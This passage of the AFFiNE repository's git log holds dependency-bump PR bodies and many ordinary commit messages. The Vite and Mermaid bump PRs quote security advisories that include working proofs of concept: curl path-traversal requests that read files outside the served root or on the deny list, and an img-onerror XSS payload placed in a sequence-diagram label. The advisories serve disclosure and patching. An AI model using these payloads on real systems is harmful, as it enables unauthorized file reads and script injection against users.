- `appType: 'spa'` (default) or `appType: 'mpa'` is used

This vulnerability also affects the preview server. The preview server
allowed HTML files not under the output directory to be served.

### Details
The
[serveStaticMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L123))
function is in charge of serving static files from the server. It
returns the
[viteServeStaticMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L136))
function which runs the needed tests and serves the page. The
viteServeStaticMiddleware function [checks if the extension of the
requested file is
".html"](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L144)).
If so, it doesn't serve the page. Instead, the server will go on to the
next middlewares, in this case
[htmlFallbackMiddleware](9719497ade/packages/vite/src/node/server/middlewares/htmlFallback.ts (L14)),
and then to
[indexHtmlMiddleware](9719497ade/packages/vite/src/node/server/middlewares/indexHtml.ts (L438)).
These middlewares don't perform any test against allow or deny rules,
and they don't make sure that the accessed file is in the root directory
of the server. They just find the file and send back its contents to the
client.

### PoC
Execute the following shell commands:

```
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
```

Then, in a different shell, run the following command:

`curl -v --path-as-is
'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'`

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the
project, but are in the deny list (or not in the allow list). Test that
by stopping the running server (CTRL+C), and running the following
commands in the server's shell:

```
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

```

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'`

You will receive a 403 HTTP Response,  because everything in the
secret_files directory is denied.

Now in the same shell run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'`

You will receive the contents of secret_files/secret.html.

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v6.3.6`](https://redirect.github.com/vitejs/vite/releases/tag/v6.3.6)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.3.5...v6.3.6)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v6.3.6/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-14 01:55:54 +08:00
dependabot[bot]
e158e11608 chore: bump sha.js from 2.4.11 to 2.4.12 (#13560)
Bumps [sha.js](https://github.com/crypto-browserify/sha.js) from 2.4.11
to 2.4.12.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/browserify/sha.js/blob/master/CHANGELOG.md">sha.js's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/browserify/sha.js/compare/v2.4.11...v2.4.12">v2.4.12</a>
- 2025-07-01</h2>
<h3>Commits</h3>
<ul>
<li>[eslint] switch to eslint <a
href="7acadfbd3a"><code>7acadfb</code></a></li>
<li>[meta] add <code>auto-changelog</code> <a
href="b46e7116eb"><code>b46e711</code></a></li>
<li>[eslint] fix package.json indentation <a
href="df9d521e16"><code>df9d521</code></a></li>
<li>[Tests] migrate from travis to GHA <a
href="c43c64adc6"><code>c43c64a</code></a></li>
<li>[Fix] support multi-byte wide typed arrays <a
href="f2a258e9f2"><code>f2a258e</code></a></li>
<li>[meta] reorder package.json <a
href="d8d77c0a72"><code>d8d77c0</code></a></li>
<li>[meta] add <code>npmignore</code> <a
href="35aec35c66"><code>35aec35</code></a></li>
<li>[Tests] avoid console logs <a
href="73e33ae0ca"><code>73e33ae</code></a></li>
<li>[Tests] fix tests run in batch <a
href="262913006e"><code>2629130</code></a></li>
<li>[Tests] drop node requirement to 0.10 <a
href="00c7f234aa"><code>00c7f23</code></a></li>
<li>[Dev Deps] update <code>buffer</code>,
<code>hash-test-vectors</code>, <code>standard</code>,
<code>tape</code>, <code>typedarray</code> <a
href="92b5de5f67"><code>92b5de5</code></a></li>
<li>[Tests] drop node requirement to v3 <a
href="9b5eca80fd"><code>9b5eca8</code></a></li>
<li>[meta] set engines to <code>&amp;gt;= 4</code> <a
href="807084c5c0"><code>807084c</code></a></li>
<li>Only apps should have lockfiles <a
href="c72789c7a1"><code>c72789c</code></a></li>
<li>[Deps] update <code>inherits</code>, <code>safe-buffer</code> <a
href="5428cfc6f7"><code>5428cfc</code></a></li>
<li>[Dev Deps] update <code>@ljharb/eslint-config</code> <a
href="2dbe0aab41"><code>2dbe0aa</code></a></li>
<li>update README to reflect LICENSE <a
href="8938256dbb"><code>8938256</code></a></li>
<li>[Dev Deps] add missing peer dep <a
href="d52889688c"><code>d528896</code></a></li>
<li>[Dev Deps] remove unused <code>buffer</code> dep <a
href="94ca7247f4"><code>94ca724</code></a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="eb4ea2fd3d"><code>eb4ea2f</code></a>
v2.4.12</li>
<li><a
href="d8d77c0a72"><code>d8d77c0</code></a>
[meta] reorder package.json</li>
<li><a
href="df9d521e16"><code>df9d521</code></a>
[eslint] fix package.json indentation</li>
<li><a
href="35aec35c66"><code>35aec35</code></a>
[meta] add <code>npmignore</code></li>
<li><a
href="d52889688c"><code>d528896</code></a>
[Dev Deps] add missing peer dep</li>
<li><a
href="b46e7116eb"><code>b46e711</code></a>
[meta] add <code>auto-changelog</code></li>
<li><a
href="94ca7247f4"><code>94ca724</code></a>
[Dev Deps] remove unused <code>buffer</code> dep</li>
<li><a
href="2dbe0aab41"><code>2dbe0aa</code></a>
[Dev Deps] update <code>@ljharb/eslint-config</code></li>
<li><a
href="73e33ae0ca"><code>73e33ae</code></a>
[Tests] avoid console logs</li>
<li><a
href="f2a258e9f2"><code>f2a258e</code></a>
[Fix] support multi-byte wide typed arrays</li>
<li>Additional commits viewable in <a
href="https://github.com/crypto-browserify/sha.js/compare/v2.4.11...v2.4.12">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~ljharb">ljharb</a>, a new releaser for
sha.js since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=sha.js&package-manager=npm_and_yarn&previous-version=2.4.11&new-version=2.4.12)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-07 00:17:51 +08:00
renovate[bot]
18faaa38a0 chore: bump up mermaid version to v10.9.4 [SECURITY] (#13518)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [mermaid](https://redirect.github.com/mermaid-js/mermaid) | [`10.9.3`
-> `10.9.4`](https://renovatebot.com/diffs/npm/mermaid/10.9.3/10.9.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/mermaid/10.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mermaid/10.9.3/10.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-54881](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-7rqq-prvp-x9jh)

### Summary
In the default configuration of mermaid 11.9.0, user supplied input for
sequence diagram labels is passed to `innerHTML` during calculation of
element size, causing XSS.

### Details
Sequence diagram node labels with KaTeX delimiters are passed through
`calculateMathMLDimensions`. This method passes the full label to
`innerHTML` which allows allows malicious users to inject arbitrary HTML
and cause XSS when mermaid-js is used in it's default configuration
(with KaTeX support enabled).

The vulnerability lies here:

```ts
export const calculateMathMLDimensions = async (text: string, config: MermaidConfig) => {
  text = await renderKatex(text, config);
  const divElem = document.createElement('div');
  divElem.innerHTML = text; // XSS sink, text has not been sanitized.
  divElem.id = 'katex-temp';
  divElem.style.visibility = 'hidden';
  divElem.style.position = 'absolute';
  divElem.style.top = '0';
  const body = document.querySelector('body');
  body?.insertAdjacentElement('beforeend', divElem);
  const dim = { width: divElem.clientWidth, height: divElem.clientHeight };
  divElem.remove();
  return dim;
};
```

The `calculateMathMLDimensions` method was introduced in
5c69e5fdb004a6d0a2abe97e23d26e223a059832 two years ago, which was
released in [Mermaid
10.9.0](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.0).

### PoC
Render the following diagram and observe the modified DOM.

```
sequenceDiagram
    participant A as Alice<img src="x" onerror="document.write(`xss on ${document.domain}`)">$$\\text{Alice}$$
    A->>John: Hello John, how are you?
    Alice-)John: See you later!
```

Here is a PoC on mermaid.live:
https://mermaid.live/edit#pako:eNpVUMtOwzAQ_BWzyoFKaRTyaFILiio4IK7ckA-1km1iKbaLY6spUf4dJ0AF68uOZ2dm7REqXSNQ6PHDoarwWfDGcMkUudaJGysqceLKkj3hPdl3osJ7IRvSm-qBwcCAaIXGaONRrSsnUdnobITF28PQ954lwXglai25UNNhxWAXBMyXxcGOi-3kL_5k79e73atuFSUv2HWazH1IWn0m3CC5aPf4b3p2WK--BW-4DJCOWzQ3TM0HQmiMqIFa4zAEicZv4iGMsw0D26JEBtS3NR656ywDpiYv869_11r-Ko12TQv0yLveI3eqfcjP111HUNVonrRTFuhdsVgAHWEAmuRxlG7SuEzKMi-yJAnhAjTLIk_EcbFJtuk2y9MphM8lM47KIp--AOZghtU

### Impact
XSS on all sites that use mermaid and render user supplied diagrams
without further sanitization.

### Remediation
The value of the `text` argument for the `calculateMathMLDimensions`
method needs to be sanitized before getting passed on to `innerHTML`.

---

### Release Notes

<details>
<summary>mermaid-js/mermaid (mermaid)</summary>

###
[`v10.9.4`](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.4)

[Compare
Source](https://redirect.github.com/mermaid-js/mermaid/compare/v10.9.3...v10.9.4)

This release backports the fix for GHSA-7rqq-prvp-x9jh from
[v11.10.0](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.10.0),
preventing a potential XSS attack in labels in sequence diagrams.

See:
[`9d68517`](9d685178d2)
(on `main` branch)
See:
[`7509b06`](7509b066f1)
(backported commit)

**Full Changelog**:
<https://github.com/mermaid-js/mermaid/compare/v10.9.3...v10.9.4>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS44MS4yIiwidXBkYXRlZEluVmVyIjoiNDEuODIuNyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-25 14:37:24 +08:00
DarkSky
e2156ea135 feat(server): integrate blob to context (#13491) 2025-08-15 17:35:45 +08:00
L-Sun
795bfb2f95 fix(ios): enable horizontal scroll for database (#13494)
Close
[BS-3625](https://linear.app/affine-design/issue/BS-3625/移动端database-table-view无法横向滚动)

#### PR Dependency Tree


* **PR #13494** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved iOS mobile table view scrolling: horizontal overflow is no
longer forcibly hidden, preventing clipped content and enabling smoother
horizontal navigation.
* Users can now access columns that previously appeared truncated on
narrow screens.
  * Vertical scrolling behavior remains unchanged.
  * No impact on non‑iOS devices.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 06:12:33 +00:00
L-Sun
0710da15c6 fix(editor): hook of database is invoked repeatedly (#13493)
Close
[AF-2789](https://linear.app/affine-design/issue/AF-2789/安卓客户端日期没了)

#### PR Dependency Tree


* **PR #13493** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved editing mode stability in mobile Kanban cells by preventing
redundant enter/exit transitions, resulting in smoother interactions and
reduced flicker.
* Enhanced mobile Table cells to avoid duplicate editing state changes,
minimizing unnecessary updates and improving responsiveness.
* Overall, editing transitions are now idempotent across affected mobile
views, reducing visual jitter and improving performance during edit
operations.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 06:09:34 +00:00
Peng Xiao
693ae9c834 fix(core): pasted code artifact should be inserted as codeblock (#13492)
fix AI-417

#### PR Dependency Tree


* **PR #13492** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Copying code snippets now uses a rich format for improved paste
fidelity in compatible editors.
* Preserves code block formatting and language when pasted, reducing
manual cleanup.
* Continues to support plain text and HTML paste for broad
compatibility.
  * Works more reliably when moving content within the app.
  * Existing copy confirmation remains unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 05:28:44 +00:00
L-Sun
9d38f79395 fix(editor): deactivate editor when selection out of editor (#13490)
Close
[AI-415](https://linear.app/affine-design/issue/AI-415/code-artifact-复制更好的支持code-block和插入正文)

#### PR Dependency Tree


* **PR #13490** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Editor now deactivates when text selection moves outside the app,
preventing unintended interactions.
* Better handling when selection changes to external content, reducing
cases where the editor stayed active incorrectly.

* **Stability**
* Improved reliability around selection, focus, and visibility changes
to avoid accidental edits or actions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->


#### PR Dependency Tree


* **PR #13490** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-08-14 14:49:53 +08:00
L-Sun
680f3b3006 feat(editor): impl shape text with dom renderer (#13471)
#### PR Dependency Tree


* **PR #13464**
  * **PR #13465**
    * **PR #13471** 👈
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* DOM rendering added for groups, mind maps and connectors so group
titles/outlines and mindmap connectors are visible on canvas.
* Shapes now support right-to-left text with proper vertical alignment.
* **Improvements**
  * Connector labels scale with viewport zoom for crisper display.
* Group-related selections (including nested groups) now update visuals
consistently.
* **Performance**
* Reduced DOM churn and fewer redraws during rendering and selection
changes.
* **Refactor**
* Renderer import/export surfaces consolidated with no user-facing
behavior changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 04:29:13 +00:00
Peng Xiao
fbf234f9fa fix(core): code artifact copy should retain the original format (#13489)
fix AI-415

#### PR Dependency Tree


* **PR #13489** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved code block stability to prevent layout shifts and overlapping
during syntax highlighting.
  * Ensured consistent height and alignment for code snippets.

* **Style**
* Refined code block appearance for clearer, more polished presentation.

* **Chores**
* Internal adjustments to support more reliable rendering of highlighted
code.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 04:24:28 +00:00
L-Sun
e9ede5213e fix(core): incorrect position of mobile notification card (#13485)
#### PR Dependency Tree


* **PR #13485** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Improved mobile toast notification layout for better responsiveness
across screen sizes.
* Replaced fixed left alignment with dynamic edge offsets, ensuring
consistent spacing near screen edges.
* Removed forced centering and rigid width constraints to reduce
clipping and overlap on narrow viewports.
  * Visual behavior only; no changes to interaction or functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 02:23:47 +00:00
德布劳外 · 贾贵
aea6f81937 fix(core): remove attachment chip failed (#13468)
> CLOSE PD-2697

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Removing an attachment chip now also removes duplicate attachments
with the same source, preventing duplicate attachments in the AI chat
chip list.
* Removing a selected context chip now also removes duplicate selected
contexts with the same identifier, preventing duplicate context chips.
* Attachments from different sources and chips of other types (document,
file, tag, collection) remain unaffected.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 02:15:48 +00:00
L-Sun
66c2bf3151 fix(editor): incorrect z-index in dom renderer (#13465)
#### PR Dependency Tree


* **PR #13464**
  * **PR #13465** 👈
    * **PR #13471**
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved stacking order across canvas elements (shapes, connectors,
brush, highlighter), reducing unexpected overlap.
* Corrected z-index application for placeholders and fully rendered
elements to ensure consistent layering during edits.
* **Refactor**
* Centralized z-index handling for canvas elements to provide
predictable, uniform layering behavior across the app.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 11:10:32 +08:00
L-Sun
aa052096c1 feat(editor): brush and highlighter dom renderer (#13464)
#### PR Dependency Tree


* **PR #13464** 👈
  * **PR #13465**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* DOM-based SVG rendering for Brush and Highlighter with zoom, rotation,
layering and improved visualization.

* **Refactor**
* Consolidated renderer exports into a single entry point for simpler
integration.

* **Chores**
* Updated view registrations to include the new DOM renderer extensions.
  * Improved highlighter sizing consistency based on serialized bounds.

* **Revert**
  * Removed highlighter renderer registration from the shape module.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->


#### PR Dependency Tree


* **PR #13464** 👈
  * **PR #13465**
    * **PR #13471**
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-08-14 02:08:36 +00:00
Wu Yue
c2f3018eb7 fix(core): missing lit component props (#13482)
Close [AI-413](https://linear.app/affine-design/issue/AI-413)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Chat messages now scroll vertically, preventing content from being cut
off.
* Chat actions are no longer displayed or fetched, reducing unnecessary
loading.
* Peek view chat composer behavior is aligned with the main chat,
ensuring consistent feature availability across views.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 08:57:51 +00:00
DarkSky
dd9d8adbf8 fix(server): multi step tool call (#13486)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Enforced a consistent step limit for AI responses across providers,
preventing excessively long generations in both text and streaming modes
for more predictable results.

- Refactor
- Centralized step limit configuration into a shared provider, ensuring
uniform behavior across providers and simplifying future maintenance.
- Standardized application of step limits in text generation and
streaming flows to align provider behavior and improve overall
reliability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 08:10:42 +00:00
L-Sun
7e0de251cb fix(editor): remove patch of key-binding in andriod (#13483)
In recent versions of Android (or maybe webview), the
`KeyboardEvent.key` for the backspace key now has the correct value.
This PR remove the patch since it will trigger two delete actions when
press backspace at the first character of paragraph"

Related PR https://github.com/toeverything/AFFiNE/issues/10523

#### PR Dependency Tree


* **PR #13483** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined keyboard shortcut handling for greater consistency across
platforms.
* Reduced overhead by consolidating event bindings; no change to
expected shortcut behavior for end-users.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 06:34:07 +00:00
L-Sun
5c73fc9767 chore(editor): adjust notification of database editing (#13484)
#### PR Dependency Tree


* **PR #13484** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Reduced repeated mobile editing notifications; the notice now appears
once and only reappears after you dismiss it.
- More consistent notification behavior on mobile for a less disruptive
editing experience.

- Refactor
- Streamlined internal event handling to improve reliability and reduce
potential listener leaks, resulting in smoother interactions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 06:33:38 +00:00
Peng Xiao
a0c22b7d06 fix(core): manage payment details entry adjustment (#13481)
#### PR Dependency Tree


* **PR #13481** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- The “Update payment method” prompt now appears only when your
subscription is past due.
- Payment Method section now shows whenever a paid plan record exists
(loading placeholders unchanged).
- Action button styling adjusts for past-due subscriptions (uses the
alternate/secondary style).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 04:42:29 +00:00
DarkSky
072557eba1 feat(server): adapt gpt5 (#13478)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Added GPT-5 family and made GPT-5/-mini the new defaults for Copilot
scenarios and prompts.

- Bug Fixes
- Improved streaming chunk formats and reasoning/text semantics,
consistent attachment mediaType handling, and more reliable reranking
via log-prob handling.

- Refactor
- Unified maxOutputTokens usage; removed per-call step caps and migrated
several tools to a unified inputSchema shape.

- Chores
- Upgraded AI SDK dependencies and bumped an internal dependency
version.

- Tests
- Updated mocks and tests to reference GPT-5 variants and new stream
formats.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 02:32:15 +00:00
Peng Xiao
fda7e9008d fix(core): show past due in ui (#13477)
fix CLOUD-238, CLOUD-239

#### PR Dependency Tree


* **PR #13477** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Payment method management is now always available directly within AI
and Pro plan cards.
* **Bug Fixes**
* Past-due subscriptions are now included in subscription status
results, ensuring they appear in billing views.
* **Style**
* Plan actions are moved inline within each plan’s description for a
cleaner, more compact layout.
  * Actions are grouped horizontally with improved spacing.
  * Minor class name and spacing tweaks for consistent styling.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 09:00:32 +00:00
Jachin
678dc15365 feat(editor): add mermaid code preview (#13456)
<img width="971" height="681" alt="iShot_2025-08-10_14 29 01"
src="https://github.com/user-attachments/assets/eff3e6d5-3129-42ac-aceb-994c18f675ab"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Mermaid diagram previews for code blocks with interactive zoom, pan,
and reset controls.
* Improved rendering feedback with loading, error states, retry
behavior, and fallback messaging.

* **Chores**
  * Added Mermaid as a frontend dependency to enable diagram rendering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-08-12 03:00:01 +00:00
Jachin
ef99c376ec fix(editor): fix import zip with cjk filename (#13458)
fix #12721 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved handling of non‑ASCII filenames when unzipping archives: the
extractor now tries alternative encodings and validates results so
filenames are preserved and displayed correctly after extraction. This
change reduces corrupt or garbled names while keeping existing
extraction behavior otherwise unchanged.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 02:51:23 +00:00
DarkSky
65f679c4f0 fix(server): frequent embedding (#13475)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Smarter embedding pipeline skips re-embedding when content hasn’t
changed; added content sanitization for embeddings and workspace content
retrieval.
- Bug Fixes
- Re-embedding now requires both a document update and the last
embedding being older than 10 minutes, reducing unnecessary work.
- Refactor
- Consolidated embedding preprocessing and moved sanitization utilities
into shared models; upserts now refresh stored content.
- Tests
- Expanded snapshot-based tests covering multiple time/age scenarios for
embedding decision logic.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 01:45:41 +00:00
DarkSky
125564b7d2 fix(server): improve outdated embedding cleanup (#13476)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Prevents accidental deletion of placeholder documents during embedding
cleanup.
* Improves accuracy when identifying documents to remove, using multiple
data sources.
* Skips unnecessary cleanup when no embeddings or snapshots exist,
reducing noise and overhead.
* **Chores**
* Streamlined and centralized document filtering logic to ensure
consistent cleanup behavior.
* Parallelized data checks to make cleanup more efficient without
changing user workflows.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 01:20:21 +00:00
Wu Yue
aa20e7ba66 fix(core): copilot tool restore (#13470)
Close [AI-410](https://linear.app/affine-design/issue/AI-410)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - None

- Bug Fixes
- Middle-click panning now reliably returns to the previously active
tool, including after using Copilot or frame navigation.
- Smoother, more responsive transition into panning to reduce accidental
selections.

- Refactor
- Simplified AI panel click-outside handling with no change to
user-visible behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 15:52:50 +00:00
德布劳外 · 贾贵
01e8458075 refactor(core): add selected chip synchronously (#13469)
> CLOSE PD-2698

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- **Refactor**
- Optimized context chip handling in the AI chat composer to process
additions concurrently.
- Improves responsiveness when adding multiple documents or attachments
as context, reducing wait times and making the composing experience
smoother.
- No changes to visible functionality; users should notice faster
updates when selecting several items at once.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-11 09:42:18 +00:00
625 changed files with 51580 additions and 3020 deletions

View File

@@ -2,6 +2,8 @@ version: '3.8'
services:
app:
security_opt:
- no-new-privileges:true
image: mcr.microsoft.com/devcontainers/base:bookworm
volumes:
- ../..:/workspaces:cached

View File

@@ -148,6 +148,11 @@
"description": "Whether allow new registrations.\n@default true",
"default": true
},
"allowSignupForOauth": {
"type": "boolean",
"description": "Whether allow new registrations via configured oauth.\n@default true",
"default": true
},
"requireEmailDomainVerification": {
"type": "boolean",
"description": "Whether require email domain record verification before accessing restricted resources.\n@default false",
@@ -190,6 +195,11 @@
"type": "object",
"description": "Configuration for mailer module",
"properties": {
"SMTP.name": {
"type": "string",
"description": "Name of the email server (e.g. your domain name)\n@default \"AFFiNE Server\"\n@environment `MAILER_SERVERNAME`",
"default": "AFFiNE Server"
},
"SMTP.host": {
"type": "string",
"description": "Host of the email server (e.g. smtp.gmail.com)\n@default \"\"\n@environment `MAILER_HOST`",
@@ -225,6 +235,11 @@
"description": "The emails from these domains are always sent using the fallback SMTP server.\n@default []",
"default": []
},
